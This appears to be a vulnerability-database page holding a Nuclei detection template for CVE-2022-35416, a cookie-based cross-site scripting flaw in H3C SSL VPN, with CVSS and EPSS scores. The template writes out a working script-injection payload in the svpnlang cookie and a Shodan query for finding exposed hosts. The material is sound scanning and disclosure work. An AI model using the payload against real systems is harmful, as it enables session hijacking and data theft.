4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
42.0%
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
id: CVE-2022-35416
info:
name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
author: 0x240x23elu
severity: medium
description: |
H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
remediation: |
Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
reference:
- https://github.com/advisories/GHSA-9x76-78gc-r3m9
- https://github.com/Docker-droid/H3C_SSL_VPN_XSS
- https://nvd.nist.gov/vuln/detail/CVE-2022-35416
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/bughunter0xff/recon-scanner
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-35416
cwe-id: CWE-79
epss-score: 0.00102
epss-percentile: 0.41641
cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: h3c
product: ssl_vpn
shodan-query: http.html_hash:510586239
tags: cve,cve2022,xss,vpn,h3c
http:
- raw:
- |
GET /wnm/login/login.json HTTP/1.1
Host: {{Hostname}}
Cookie: svpnlang=<script>alert('document.domain')</script>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('document.domain')</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502207d82b266b0760fde1b26ab005ed128cfe7c783b52db28f94bc666c9d03bb196002210098ccdcab8e372c1dd43317407e690f228e8cb1bc1c8add5c95870ceb805b2713:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
42.0%